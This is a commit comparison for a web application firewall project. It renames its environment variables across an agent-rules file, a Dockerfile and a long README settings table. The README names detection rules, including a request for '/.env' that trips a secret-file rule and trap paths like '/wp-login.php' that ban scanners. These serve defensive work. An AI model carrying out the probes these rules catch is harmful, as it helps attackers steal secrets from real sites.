Compare commits
5
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3d25aef8c6 | ||
|
|
3d9e3976b0 | ||
|
|
56d6a12cc2 | ||
|
|
922fe0cf71 | ||
|
|
d70fb34f40 |
No files matched your search
@@ -30,7 +30,7 @@ These are the rules for agents working on this repository.
|
||||
- Secrets belong in POST data. An app that puts a secret in a query string
|
||||
is fixed in the app.
|
||||
- Never propose redacting a query string, Gitea's `?token=` included.
|
||||
- The default of `SWW_RPROXY_TRUSTED_PROXIES` is the RFC 1918 set.
|
||||
- The default of `SWRP_TRUSTED_PROXIES` is the RFC 1918 set.
|
||||
- The set is:
|
||||
- `10.0.0.0/8`;
|
||||
- `172.16.0.0/12`;
|
||||
|
||||
+2
-2
@@ -184,12 +184,12 @@ RUN groupadd --system --gid 65532 sww \
|
||||
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
||||
sww
|
||||
|
||||
# The state files' directory, SWW_WAF_STATE_DIR by default, where a volume
|
||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||
# is mounted to keep them across deploys. The run script gives it to the
|
||||
# sww user at each start of discriminator.
|
||||
RUN mkdir /var/lib/sww
|
||||
|
||||
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
|
||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||
# built FROM this image can copy rule files of its own beside it.
|
||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||
|
||||
|
||||
@@ -12,8 +12,8 @@ shipped in one image, with two commands that do this together:
|
||||
|
||||
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
|
||||
it. It asks `discriminator` about each request, passes the allowed ones to the
|
||||
app, and passes the app's answers back. It keeps nothing between requests and
|
||||
writes nothing to disk.
|
||||
app, and passes the app's answers back. It keeps nothing and never touches
|
||||
disk.
|
||||
- `sww discriminator` decides. It runs the checks and keeps the bans, the
|
||||
counters and each client's history. One `discriminator` serves many sites: a
|
||||
client banned through one site is refused on all of them, and its requests on
|
||||
@@ -91,9 +91,8 @@ the app accepts connections, whether or not `discriminator` answers; in
|
||||
The usual setup is three containers on one private network:
|
||||
|
||||
- the app;
|
||||
- `rproxy`, in front of the app, which traefik routes to:
|
||||
`SWW_RPROXY_WAF_BACKEND` names `discriminator` and `SWW_RPROXY_UPSTREAM_URL`
|
||||
names the app;
|
||||
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
|
||||
names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
|
||||
- `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
|
||||
`/var/lib/sww` for its state files.
|
||||
|
||||
@@ -102,8 +101,8 @@ Point traefik's labels at port 8080 of `rproxy`
|
||||
of the app or of `discriminator`. Anything on that network can reach the app
|
||||
around `rproxy`, and can ask `discriminator` questions, so the network holds
|
||||
only what you trust. Each further app adds its own container and its own
|
||||
`rproxy`, whose `SWW_RPROXY_WAF_BACKEND` names the same `discriminator`. The
|
||||
"Smallest setup" example below shows this shape.
|
||||
`rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
|
||||
setup" example below shows this shape.
|
||||
|
||||
### `rproxy` in the app's container
|
||||
|
||||
@@ -116,7 +115,7 @@ by digest, and adds:
|
||||
- the packages the app needs, from the nixpkgs in the image;
|
||||
- a user for the app;
|
||||
- a `run` script that starts the app listening on `127.0.0.1:8081`, the default
|
||||
of `SWW_RPROXY_UPSTREAM_URL`.
|
||||
of `SWRP_UPSTREAM_URL`.
|
||||
|
||||
```dockerfile
|
||||
# The smallwebwaf image, pinned by digest.
|
||||
@@ -152,8 +151,8 @@ main "$@"
|
||||
|
||||
Leave `ENTRYPOINT` and `USER` out of the app's `Dockerfile`. The image's own
|
||||
entrypoint starts `rproxy` and the app side by side, each as its own user. Run
|
||||
the app's image with `SWW_RPROXY_WAF_BACKEND` set. `deploy/example-app` is such
|
||||
an app, and the "`rproxy` beside the app" example below runs one.
|
||||
the app's image with `SWRP_WAF_BACKEND` set. `deploy/example-app` is such an
|
||||
app, and the "`rproxy` beside the app" example below runs one.
|
||||
|
||||
The app sees the headers traefik sent, with traefik's address added to
|
||||
`X-Forwarded-For`, from a TCP peer that is `rproxy`. So the app must trust
|
||||
@@ -173,12 +172,12 @@ does.
|
||||
`https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
|
||||
the request have `"action":"forward"`.
|
||||
- To see a refusal without banning yourself, run `discriminator` with
|
||||
`SWW_WAF_MODE=observe` and ask for `/.env`. The request reaches the app.
|
||||
`SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
|
||||
`discriminator`'s log lines have `"would_action":"temporarily_banned"` and
|
||||
`"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
|
||||
"Clients and bans" below describes.
|
||||
- With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host
|
||||
on `discriminator`'s network:
|
||||
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
|
||||
`discriminator`'s network:
|
||||
`curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
|
||||
- `make example-app` builds the image and an app on it, runs them, and checks
|
||||
the whole exchange (see "Entrypoints").
|
||||
@@ -186,18 +185,18 @@ does.
|
||||
## Configuration
|
||||
|
||||
Every setting is an environment variable, read once at start; changing one means
|
||||
restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and
|
||||
`discriminator` only the `SWW_WAF_` ones. Every setting but
|
||||
`SWW_RPROXY_WAF_BACKEND` has a default, chosen for a service on the open
|
||||
internet. A setting that needs an account, a key, a token or an alert
|
||||
destination stays off until you give one.
|
||||
restarting the container. `rproxy` reads only the `SWRP_` settings, and
|
||||
`discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
|
||||
default, chosen for a service on the open internet. A setting that needs an
|
||||
account, a key, a token or an alert destination stays off until you give one.
|
||||
|
||||
- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for
|
||||
secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds
|
||||
`SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at
|
||||
the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE`
|
||||
and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have
|
||||
no `_FILE` form. `SWW_COMMAND` cannot be given as a file.
|
||||
- Any `SWW_` setting can be given as a file instead, for secrets and long lists:
|
||||
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
|
||||
contents are the value, less one newline at the end. Setting both forms stops
|
||||
the start. `SWW_LOG_REMOTE_TLS_CA_FILE` and
|
||||
`SWW_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have no
|
||||
`_FILE` form. `SWW_COMMAND` cannot be given as a file. No `SWRP_` setting has
|
||||
one, since `rproxy` never touches disk.
|
||||
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`.
|
||||
- A size is a number of bytes with an optional `K`, `M` or `G`, in powers of
|
||||
1024: `512K`, `100M`, `5G`.
|
||||
@@ -213,132 +212,131 @@ destination stays off until you give one.
|
||||
setting takes it.
|
||||
- The byte limits and the byte anomaly thresholds count only body bytes: the
|
||||
app's response bodies, the visitors' request bodies, or both, as
|
||||
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
|
||||
over a WebSocket counts as request bytes, and what the app sent as response
|
||||
bytes.
|
||||
`SWW_BYTES_COUNT` says. Headers are never counted. What the visitor sent over
|
||||
a WebSocket counts as request bytes, and what the app sent as response bytes.
|
||||
- An invalid setting stops the process at start with one log line naming the
|
||||
variable and what is wrong with the value. The settings in effect are logged
|
||||
on one line at start, with tokens, keys and webhook paths shown as `********`.
|
||||
|
||||
Every setting the code reads, with its default:
|
||||
|
||||
| Variable | Default | What it does |
|
||||
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
||||
| `SWW_RPROXY_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
||||
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
|
||||
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
|
||||
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
|
||||
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
|
||||
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
|
||||
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
|
||||
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
|
||||
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
|
||||
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
|
||||
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
|
||||
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
|
||||
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
|
||||
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
|
||||
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
|
||||
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
|
||||
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
|
||||
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
|
||||
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
|
||||
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
|
||||
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
|
||||
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
|
||||
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
|
||||
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
|
||||
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
|
||||
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
|
||||
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
|
||||
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
|
||||
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
|
||||
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
|
||||
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
|
||||
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
|
||||
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
|
||||
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
|
||||
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
|
||||
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
|
||||
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
|
||||
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
|
||||
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
|
||||
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
|
||||
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
||||
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
|
||||
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
|
||||
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
|
||||
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
|
||||
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
|
||||
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
|
||||
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
|
||||
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
|
||||
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
|
||||
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
|
||||
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
|
||||
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
|
||||
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
|
||||
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
|
||||
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
|
||||
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
|
||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
|
||||
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
|
||||
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
|
||||
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
|
||||
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
|
||||
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
|
||||
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
|
||||
| Variable | Default | What it does |
|
||||
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
|
||||
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
|
||||
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
|
||||
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
|
||||
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
|
||||
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
|
||||
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
|
||||
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
|
||||
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
|
||||
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
|
||||
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
|
||||
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
|
||||
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
|
||||
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
|
||||
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
|
||||
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
|
||||
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
|
||||
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
|
||||
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
|
||||
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
|
||||
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
|
||||
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
|
||||
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
|
||||
